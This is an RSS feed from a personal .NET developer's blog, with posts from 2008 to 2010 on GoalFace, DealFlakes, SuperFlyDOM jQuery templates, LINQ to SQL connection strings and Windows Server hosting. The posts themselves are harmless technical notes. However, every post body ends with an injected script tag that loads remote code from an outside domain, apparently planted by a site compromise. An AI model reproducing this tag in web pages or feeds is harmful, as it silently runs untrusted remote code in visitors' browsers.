<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>.Net and Some (may be MORE) Random Thoughts</title>
	<atom:link href="http://blog.budigelli.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.budigelli.com</link>
	<description></description>
	<lastBuildDate>Tue, 11 May 2010 04:45:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Beginning of a unique GoalFace fan page on facebook</title>
		<link>http://blog.budigelli.com/goalface/beginning-of-a-unique-goalface-fan-page-on-facebook/</link>
		<comments>http://blog.budigelli.com/goalface/beginning-of-a-unique-goalface-fan-page-on-facebook/#comments</comments>
		<pubDate>Tue, 11 May 2010 04:41:09 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[GoalFace]]></category>
		<category><![CDATA[facebook]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=51</guid>
		<description><![CDATA[Building of a unique GoalFace fan page on facebook]]></description>
			<content:encoded><![CDATA[<p>I am on a quest to create one of a kind unique GoalFace.com fan page on facebook.</p>
<p>In case you don&#8217;t know yet, I have had been working on a football (Soccer for us, living in USA) venture, <a title="GoalFace.com" href="http://goalface.com" target="_blank">GoalFace.com</a>, for a while with a group of football fanatics! Happy to say that we are now on alpha and please feel free to check it out to experience <a title="Best football Community Experience" href="http://goalface.com" target="_blank">best football community experience</a>.</p>
<p>Few weeks ago, while I was having my daily dose of techcrunch, I stumbled on <a href="http://techcrunch.com/2010/03/28/how-to-build-engaging-one-of-kind-facebook-fan-pages/" target="_blank">this post</a> about creating One-of-Kind fan page on facebook. Not having done much on facebook, I have decided do something like that for GoalFace.</p>
<p>My initial version simply followed the directions to a static custom home page for GoalFace (with a home page screen shot). Then, I felt little ambitious and started exploring ways to make it dynamic. I came across <a href="http://www.snipe.net/2009/10/mini-site-facebook-static-fbml/" target="_blank">this post</a> while looking for ways to bring the dynamic content.</p>
<p>With simple show/hide logic at my disposal, I ventured into creating <a title="GoalFace Tour" href="http://goalface.com/tour.html" target="_blank">GoalFace Tour</a> page on facebook. Well, after couple of hours later, I have a simple, slide show looking, <a title="GoalFace fan page on facebook" href="http://facebook.com/goalface" target="_blank">GoalFace fan page</a> on facebook.</p>
<p>My team has some very innovative ideas on extending our facebook presence. I will be updating my blog as I bring them to life. Mean while, please feel to drop a line or two. <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/goalface/beginning-of-a-unique-goalface-fan-page-on-facebook/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Time to get back to blogging</title>
		<link>http://blog.budigelli.com/general/time-to-get-back-to-blogging/</link>
		<comments>http://blog.budigelli.com/general/time-to-get-back-to-blogging/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 04:37:51 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=48</guid>
		<description><![CDATA[I have fallen so far behind on my blogging and I need take this up seriously. So many things to write about (.NET 4.0, ASP.NET MVC 2, jQuery).
One of the project I have been working for a while is finally out on Alpha. If you are a Soccer fan, you must check this site &#8220;For Fans [...]]]></description>
			<content:encoded><![CDATA[<p>I have fallen so far behind on my blogging and I need take this up seriously. So many things to write about (.NET 4.0, ASP.NET MVC 2, jQuery).</p>
<p>One of the project I have been working for a while is finally out on Alpha. If you are a Soccer fan, you must check this site &#8220;<a title="GoalFace" href="http://goalface.com" target="_blank">For Fans of the Beautiful Game</a>&#8220;.</p>
<p>Hopefully, I will be blogging more!</p>
<p>Thanks, <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/general/time-to-get-back-to-blogging/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ASP.NET MVC, JQuery, and SuperFlyDOM</title>
		<link>http://blog.budigelli.com/net/ajax/aspnet-mvc-jquery-and-superflydom-for-user-interface/</link>
		<comments>http://blog.budigelli.com/net/ajax/aspnet-mvc-jquery-and-superflydom-for-user-interface/#comments</comments>
		<pubDate>Thu, 07 Aug 2008 04:18:46 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[AJAX]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[JSON]]></category>
		<category><![CDATA[DealFlakes]]></category>
		<category><![CDATA[JQuery]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=45</guid>
		<description><![CDATA[What is JQuery? &#8220;A new type of JavaScript Library&#8221; Jquery really made my UI developement Fun. If you are not familiar with JQuery, i strongly suggest you check it out. We can do more with less code using JQuery.
And then there is ASP.NET MVC to make make web development clean and TDD friendly. If you [...]]]></description>
			<content:encoded><![CDATA[<p>What is JQuery? &#8220;A new type of JavaScript Library&#8221; Jquery really made my UI developement Fun. If you are not familiar with JQuery, i strongly suggest you <a title="Jquery" href="http://jquery.com" target="_blank">check it out</a>. We can do more with less code using JQuery.</p>
<p>And then there is <a title="ASP.NET MVC" href="http://asp.net/mvc" target="_blank">ASP.NET MVC</a> to make make web development clean and TDD friendly. If you are not familiar with ASP.NET MVC you should check out <a title="ASP.NET MVC" href="http://weblogs.asp.net/scottgu/" target="_blank">Scott Gu&#8217;s</a> Blog posts on different previews (currently Preview 4).</p>
<p>There are quite a few articles on how to integrate ASP.NET MVC and JQuery to make our lifes happier. A simple google search for &#8220;<a title="ASP.NET MVC with JQuery" href="http://www.google.com/search?q=asp.net+mvc+with+jquery" target="_blank">ASP.NET MVC with JQuery</a>&#8221; return quite a few articles.</p>
<p><span id="more-45"></span></p>
<p>Here, i am not going to talk about how to use JQuery for communication (for making AJAX Calls) or presentation (Subtle or major UX effects). Insted i am add &#8220;<a title="SuperFlyDOM" href="http://plugins.jquery.com/project/SuperFlyDOM" target="_blank">SuperFlyDOM</a>&#8221; to the mix. The most important part of SuperFlyDOM is the way that it lets us define the Templates. If are making a AJAX call and expecting a JSON Response, the chances are we are expecting a list of objects and would probably need to display them in either a tabular or (un)ordered list to the DOM. SuperFlyDOM is the perfect allay for this situation.</p>
<p>If i have a JSON object with serialized properties (ID, Name, Url), and i want to display/populate these JSON objects to the User by Manipulating the DOM, all i needed to do are the following simple steps&#8230;</p>
<p>I need to create a template (which is very easy depending how complicated you want the item to look after it is rendered) &#8211; To simply display an anchor tag, you could use the following Template</p>
<blockquote><p>var itemTpl = function(){return [<span class="sourceRowText">'a', {href:this.Url, id:this.Id, className:'myclass'}, [this.Name]]};</span></p></blockquote>
<p>I am creating an &#8220;a&#8221; element with properties &#8220;href&#8221;, &#8220;id&#8221;, and &#8220;className&#8221; and it will have the &#8220;Name&#8221; value go in between the &#8220;a&#8221; tag. The good thing about templates is they you can change the way what goes in to the template and how it will be presented (markup) could be changed with out much coupling with the rest of the app.</p>
<p>Once you have the template, you could make a simple call to one of the methods provided by SuperFlyDom, <span class="sourceRowText">tplAppend(jsonObj, itemTpl), foreach JSON object in your collection.  Thats it. This is the best way i have found to deal with JSON objects rendering. If you know any better techniques, please feel free to drop me a line. </span></p>
<p><span class="sourceRowText">Note- You can also do string concatenation on Templates as follows&#8230;</span></p>
<blockquote><p><span class="sourceRowText">var itemTpl= function(){return ['a', {href:'/product/' + this.Name+'/', id:this.ID, className:'myClass'}, [this.Name]]};</span></p></blockquote>
<p>This is one of the few techniques i have used in DealFlakes.Com, <a title="Online Deal Aggregator" href="http://dealflakes.com" target="_blank">Online Deal Aggregator</a>.</p>
<p>Good Luck&#8230;</p>
<p><strong>[update]</strong></p>
<p>I thought its good to include few more sample templates, just to give more info on template creation.</p>
<p>To render the following HTML</p>
<blockquote><p>&lt;div id=&#8221;id-of-the-object&#8221; class=&#8221;someClass&#8221;&gt;&lt;a href=&#8221;/point to some url&#8221; target=&#8221;_blank&#8221; title = &#8220;name-of-the-object&#8221;&gt;name-of-the-object&lt;/a&gt;&lt;/div&gt;</p></blockquote>
<p>our template is going to be something like</p>
<blockquote><p>var itemTps = function() {return ['div', { id:this.Id, className: "someClass"}, ['a', {href:"/point to some url", target: "_blank", title: this.Name }, [this.Name]]]};</p></blockquote>
<p>the key understand the templates are as follows</p>
<ul>
<li>&#8220;[&#8221; is for creating a new element (could be a text element)</li>
</ul>
<ul>
<li>&#8220;{&#8221; represents the attributes of the enclosing elements.</li>
<li>Enclose your elements with single quotation &#8220;&#8216;&#8221; marks</li>
<li>Enclose your attribute values with double quotation &#8220;&#8221;" marks&#8230;</li>
</ul>
<p>Hope this clears few things&#8230; <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/net/ajax/aspnet-mvc-jquery-and-superflydom-for-user-interface/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ASP.NET MVC Live Example &#8211; DealFlakes</title>
		<link>http://blog.budigelli.com/general/aspnet-mvc-live-example-dealflake/</link>
		<comments>http://blog.budigelli.com/general/aspnet-mvc-live-example-dealflake/#comments</comments>
		<pubDate>Thu, 31 Jul 2008 05:53:16 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[DealFlakes]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=44</guid>
		<description><![CDATA[I have had been using DealFlakes.com as my technical playground for a while. I have experimented with some cool AJAX JSON based communication and some nifty Server side tricks. With the arrival (well, the previews) of ASP.NET MVC, I was so excited that i wanted to re-write the DealFlakes.com on MVC framework (not a lot [...]]]></description>
			<content:encoded><![CDATA[<p>I have had been using <a title="DealFlakes" href="http://dealflakes.com" target="_blank">DealFlakes.com</a> as my technical playground for a while. I have experimented with some cool AJAX JSON based communication and some nifty Server side tricks. With the arrival (well, the previews) of ASP.NET MVC, I was so excited that i wanted to re-write the DealFlakes.com on MVC framework (not a lot once i know what i wanted to do and how to organize the data).</p>
<p>DealFlakes is basically a <a title="Deal Aggregator" href="http://dealflakes.com" target="_blank">Deal Aggregation portal</a> !</p>
<ol>
<li><a title="JQUERY" href="http://jquery.com" target="_blank">JQUERY</a> (for communication and User Experience effects)</li>
<li>LINQ &#8211; (Linq-to-SQL and Linq-to-XML to talk to my data stores)</li>
<li>And at this point <a title="ASP.NET MVC Preview 4" href="http://weblogs.asp.net/scottgu/archive/2008/07/14/asp-net-mvc-preview-4-release-part-1.aspx" target="_blank">ASP.NET MVC Preview 4</a> (I love the caching and Authentication modules in this preview)</li>
<li>SQL Server (2005) with some XML files</li>
<li>And hosted on IIS7 (Windows Server 2008)</li>
</ol>
<p>I have learned quite a bit of JavaScript while working with <a title="Jquery" href="http://jquery.com" target="_blank">Jquery</a> and i encourage all of you to have a look at it. I am sure, you are going to love it. And my CSS skills are getting better <img src='http://blog.budigelli.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Well, layout is kind of similar to <a title="Digg" href="http://digg.com" target="_blank">Digg</a>, umm(they invented the wheel)!!!</p>
<p>Any how, if you are a bargain hunter and would like to keep some money in your pocket (May be more available balance on your credit card) you should check out <a title="dealflakes" href="http://dealflakes.com" target="_blank">dealflakes.com</a>. I am going to keep this as a serious website and not going to play with it any more (at least that effects the Functionality and User Experience). And yes, i will be adding some very exciting features very soon. So, stay tuned.</p>
<p>Go <a title="DealFlakes" href="http://dealflakes.com" target="_blank">DealFlakes&#8230;</a></p>
<p>Budigelli <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/general/aspnet-mvc-live-example-dealflake/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Moved to Windows Server 2008 Hosting</title>
		<link>http://blog.budigelli.com/general/moved-to-windows-server-2008-hosting/</link>
		<comments>http://blog.budigelli.com/general/moved-to-windows-server-2008-hosting/#comments</comments>
		<pubDate>Wed, 16 Jul 2008 18:02:38 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Hosting]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=43</guid>
		<description><![CDATA[The move to windows server 2008 is mostly done. I have the sites hosted on server 2008 and i still need to update my mail servers. It took a while to get them running but i am happy that its done.
I had some trouble with web.config file migration in the beginning (need to migrate web.config [...]]]></description>
			<content:encoded><![CDATA[<p>The move to windows server 2008 is mostly done. I have the sites hosted on server 2008 and i still need to update my mail servers. It took a while to get them running but i am happy that its done.</p>
<p>I had some trouble with web.config file migration in the beginning (need to migrate web.config file to work on server 2008&#8217;s integrated mode).</p>
<p>All the projects i am working on going through a face-lift at this time. I will update the progress as i make them available.</p>
<p>Thanks for your time.. <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/general/moved-to-windows-server-2008-hosting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Misguided AdSense ads from Companies-Is it right</title>
		<link>http://blog.budigelli.com/general/misguided-adsense-ads-from-companies-is-it-right/</link>
		<comments>http://blog.budigelli.com/general/misguided-adsense-ads-from-companies-is-it-right/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 01:55:06 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=41</guid>
		<description><![CDATA[Misguiding advertisements on AdSense? How bad is it (if at all)!!!
I have couple of blog posts on my journey to find a reasonably priced (read, under my budget) windows server 2008 host with decent SQL Server 2005 data storage space. Like you find in most blogs, i have AdSense all over my blog:( So, i [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Misguiding advertisements on AdSense? How bad is it (if at all)!!!</strong></p>
<p>I have couple of blog posts on my journey to find a reasonably priced (read, under my budget) windows server 2008 host with decent SQL Server 2005 data storage space. Like you find in most blogs, i have AdSense all over my blog:( So, i was going through the blog the other day and found a new advertisement for SQL Server hosting.</p>
<p>Having done substantial research on the existing hosting providers, i was surprised with this new provider. For a second, i thought may be i didn&#8217;t really search right!!! With Google&#8217;s AdSense TOC in mind (i believe i should not click on the AdSense links on my own site <img src='http://blog.budigelli.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), i patiently opened a new window and typed in the site&#8217;s name. Well, I got a web site that has nothing to do with either SQL Server or Hosting. I guess they choose to bid on SQL Server hosting related keywords (May be they are cheaper compared to the right keywords in the market sector they are in).</p>
<p><span id="more-41"></span></p>
<p>In any case, i was thinking&#8230;Is it OK to advertise for something to make a user click on that link they offer complete different business model. Considering it is an online entity i was out of there in a second. But, how would we react if a Brick-and-Mortar store does this to us? You see a restaurant name out side only find some weired stuff in side?</p>
<p>Would love to hear your thoughts!!!</p>
<p><img class="alignnone size-medium wp-image-42" title="sortprice" src="http://blog.budigelli.com/wp-content/uploads/2008/06/sortprice-300x137.jpg" alt="" width="300" height="137" /> The website i was talking about is <a href="http://www.sortprice.com">www.sortprice.com</a> and see the image. <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/general/misguided-adsense-ads-from-companies-is-it-right/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google finds something wrong with this search</title>
		<link>http://blog.budigelli.com/general/google-finds-something-wrong-with-this-search/</link>
		<comments>http://blog.budigelli.com/general/google-finds-something-wrong-with-this-search/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 01:31:11 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=38</guid>
		<description><![CDATA[Today, I was trying to find some good resources on Forms Authentication for ASP.NET MVC framework. So, i typed in &#8220;asp.net mvc forms authentication&#8221;. Google surprised me with the search results.
For some reason, the search phrase &#8220;asp.net mvc forms authentication&#8221; looks like an auto-generated search! Umm, i am sure i have searched before along those [...]]]></description>
			<content:encoded><![CDATA[<p>Today, I was trying to find some good resources on Forms Authentication for ASP.NET MVC framework. So, i typed in &#8220;asp.net mvc forms authentication&#8221;. Google surprised me with the search results.</p>
<p>For some reason, the search phrase &#8220;asp.net mvc forms authentication&#8221; looks like an auto-generated search! Umm, i am sure i have searched before along those lines with out any problem. Any one ever had this issue!!</p>
<p>Check the below screen shot..</p>
<p><span id="more-38"></span></p>
<p> <img class="alignnone size-medium wp-image-40" title="google spam message" src="http://blog.budigelli.com/wp-content/uploads/2008/06/googlespam-300x224.gif" alt="" width="300" height="224" /></p>
<p>Careful what you are searching for <img src='http://blog.budigelli.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Something could be wrong <img src='http://blog.budigelli.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/general/google-finds-something-wrong-with-this-search/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Search for new windows server 2008 host continues</title>
		<link>http://blog.budigelli.com/general/search-for-new-windows-server-2008host-continues/</link>
		<comments>http://blog.budigelli.com/general/search-for-new-windows-server-2008host-continues/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 16:48:11 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Hosting]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=37</guid>
		<description><![CDATA[As i mentioned in my previous post, i have signed up with Godaddy.com Basic VPS plan (running Windows server 2003). Even though i was able to run the application with pretty url (using ISAPI ReWrite Lite), i had few issues with the approach.
My biggest concern is the testing! I develop on Vista running IIS7 and [...]]]></description>
			<content:encoded><![CDATA[<p>As i mentioned in my previous post, i have signed up with <a title="GoDaddy.com" href="http://godaddy.com" target="_blank">Godaddy.com</a> Basic VPS plan (running Windows server 2003). Even though i was able to run the application with pretty url (using ISAPI ReWrite Lite), i had few issues with the approach.</p>
<p>My biggest concern is the testing! I develop on Vista running IIS7 and to deploy it on Windows Server 2003 running on IIS6 seems to be a big risk. I don&#8217;t have any Windows server 2003 machines to set up a stage environment! So, to minimize the potential risk, i am again in the hunt for a hosting provider with Windows Server 2008. I have upped my budget to $70-80 per month.</p>
<p><span id="more-37"></span></p>
<p>Mean while, I have tried/tested <a title="host Excellence" href="http://hostexcellence.com" target="_blank">HostExcellence.com</a> and <a title="FullControl" href="http://fullcontrol.net" target="_blank">FullControl.net</a>. I would try to elaborate more on that some  time.</p>
<p>I finally found that my current host (where the application is current running), <a title="WebHost4life" href="http://www.WebHost4Life.com/default.asp?refid=budigelli" target="_blank">WebHost4life.com</a> is providing Windows Server 2008 (from today!!!). I have asked them to upgrade my account to the Server 2008 platform. They are usually pretty good to respond, lets see what happens this time.</p>
<p>Note : This domain (<a title="Budigelli" href="http://budigelli.com" target="_self">budigelli.com</a>) is hosted on <a title="media Temple" href="http://Mediatemple.com" target="_blank">Media Temple</a>. So far, i am happy with them for the price and features.</p>
<p>Thanks, <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/general/search-for-new-windows-server-2008host-continues/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Linq to SQL Database Connection String Issue</title>
		<link>http://blog.budigelli.com/net/linq-to-sql-database-connection-string-issue/</link>
		<comments>http://blog.budigelli.com/net/linq-to-sql-database-connection-string-issue/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 18:32:25 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[Deployment]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=36</guid>
		<description><![CDATA[As i am moving in to hosting my application on an external server, i am finding some interesting and annoying (time consuming for research) things. i will try to address them as they come along&#8230;
One of the main thing was the way i handle my Data Layer. My Data Layer is a class library project [...]]]></description>
			<content:encoded><![CDATA[<p>As i am moving in to hosting my application on an external server, i am finding some interesting and annoying (time consuming for research) things. i will try to address them as they come along&#8230;</p>
<p>One of the main thing was the way i handle my Data Layer. My Data Layer is a class library project and I have separate Business, Entity, and UI layers.  My Data Layer is done using LINQ to SQL with stored procedures (All my interaction with Database are using Stored Procedures). When i dragged and dropped required tables and stored procedures in to the designer, behind the scenes, the DBML file, (specifically, the DataContext class) hasa  default constructor that stores the connection string. To Re-iterate, we have this connection string defined in Web.Config, and app.Config (gets created for class library projects), and this hard coded value in &#8220;.dbml&#8221; File.</p>
<p><span id="more-36"></span>I googled for few min to find out couple of good posts on this issue and here is the summary and the steps to only have one connection string in &#8220;web.Config&#8221; file.</p>
<p>You can find more info on this <a title="Connection String Problem" href="http://www.west-wind.com/weblog/posts/203567.aspx" target="_blank">by Rick</a>, by <a title="Connection String" href="http://blogs.msdn.com/jongallant/archive/2007/11/25/linq-and-web-application-connection-strings.aspx" target="_blank">Jon Gallant</a>, and by <a title="Connection String" href="http://ddkonline.blogspot.com/2008/02/set-connection-string-in-linq-dbml-file.html" target="_blank">David Klein</a>.</p>
<p>I went ahead with what was posted on David klein&#8217;s article. On the &#8220;.dbml&#8221; designer properties, first made the &#8220;Application Settings&#8221; to false and tried to compile with partial class. But that didn&#8217;t compile. I read the comments David&#8217;s post and made the &#8220;Connection&#8221; to &#8220;Null&#8221;. When i saved and compiled the project it compiled. So, i deleted the Settings File, App.Config File and compiled and ran the application with out any problem.</p>
<p>Now, i only have one place to manage my connection string (in web.config file).</p>
<p>Recap.</p>
<ul>
<li>Set the &#8220;Connection&#8221; Property for the &#8220;.dbml&#8221; designer file to &#8220;Null&#8221;</li>
<li>Create a partial class for your DataContext class and have the constructor with base constructor reading the connection string from web.config file</li>
</ul>
<blockquote><p><span style="color: #0000ff; font-size: small;">public</span><span style="font-size: small;"> </span><span style="color: #0000ff; font-size: small;">partial</span><span style="font-size: small;"> </span><span style="color: #0000ff; font-size: small;">class</span><span style="font-size: small;"> </span><span style="color: #2b91af; font-size: small;">DataClasses1DataContext</span></p>
<p><span style="font-size: small;"> </span></p>
<p><span style="font-size: small;">{</span></p>
<p><span style="color: #0000ff; font-size: small;">public</span><span style="font-size: small;"> DataClasses1DataContext() : </span><span style="color: #0000ff; font-size: small;">base</span><span style="font-size: small;"> (</span><span style="color: #2b91af; font-size: small;">ConfigurationManager</span><span style="font-size: small;">.ConnectionStrings[</span><span style="color: #a31515; font-size: small;">"ConnectionString"</span><span style="font-size: small;">].ConnectionString)</span></p>
<p><span style="font-size: small;">{</span></p>
<p><span style="font-size: small;">OnCreated();</span></p>
<p><span style="font-size: small;">}</span></p>
<p><span style="font-size: small;">}</span></p></blockquote>
<ul>
<li>Make sure you have Connection string in your web.config.</li>
</ul>
<p>Thats it. Simple !!! Happy Coding&#8230;</p>
<p><strong>Update: </strong>The next time i tried to add a Stored Procedure or Table to the DataContext Designer, i still have to go to the properties of the DataContext and tell it not to read from &#8220;appsettings&#8221; and set the connection string to null/empty string. I wish there is a permanent way to say, do not populate these values <img src='http://blog.budigelli.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/net/linq-to-sql-database-connection-string-issue/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Moving from Shared Hosting to VPS</title>
		<link>http://blog.budigelli.com/general/moving-from-shared-hosting-to-vps/</link>
		<comments>http://blog.budigelli.com/general/moving-from-shared-hosting-to-vps/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 15:20:58 +0000</pubDate>
		<dc:creator>budigelli</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[ASP.NET 2.0]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://blog.budigelli.com/?p=35</guid>
		<description><![CDATA[After spending good amount of time on trying to find a hosting provider to host my asp.net MVC application, i have decided to move up to a VPS (Virtual Private Server). It is still running IIS6 on Windows Server 2003 but at least gives me the option of installing a ISAPI rewrite module.
I could not [...]]]></description>
			<content:encoded><![CDATA[<p>After spending good amount of time on trying to find a hosting provider to host my asp.net MVC application, i have decided to move up to a VPS (Virtual Private Server). It is still running IIS6 on Windows Server 2003 but at least gives me the option of installing a ISAPI rewrite module.</p>
<p>I could not find a decent host with the following requirements for (under)  $50.00</p>
<p>I was looking for</p>
<ul>
<li>Windows Server 2008 (for IIS7)</li>
<li>Decent amount of storage (about 5-10 GB)</li>
<li>Reasonable Bandwidth (Not sure, but may be around 100-200 GB)</li>
<li>SQL Server Space min 1 GB (The most important thing)</li>
</ul>
<p><span id="more-35"></span></p>
<p>Those were my requirements! Am i asking for too much? Not sure, but could not find a host offering the above hosting package under $50.00. If any hosting provider(s) reading this post, there is a sector not covered!!!</p>
<p>The biggest problem i see with most hosting package is the SQL Server Space. Some of them offer as much as 50MB (Not a TYPO). 50MB? and let me install up to 6 Databases each with that size. I am not really what i could do with 50MB, esp &#8211; my app regularly pools data from different data sources.</p>
<p>With all said and done, i have signed up with a Basic VPS package on <a title="GoDaddy.com" href="http://godaddy.com" target="_blank">GoDaddy.com</a>. I was not sure what to expect when moving from a shared hosting to VPS, but i was in for a big surprise.</p>
<p>On shared hosting, all i needed to do was upload the files and make sure my connection string are properly mapped! On VPS, i have this server (clean slate) that need to configure as per my needs. I am installing .NET 3.5, SQL Express, ASP.NET Preview 3, Configuring my emails (POP3 and SMTP). Big Change!!! i am not even at half way through my set up and would write more on how it goes&#8230;</p>
<p>If you are moving from a shared hosting to either VPS/VDS or Dedicated Server, plan on setting aside some time for deployment. Good Luck <img src='http://blog.budigelli.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.budigelli.com/general/moving-from-shared-hosting-to-vps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
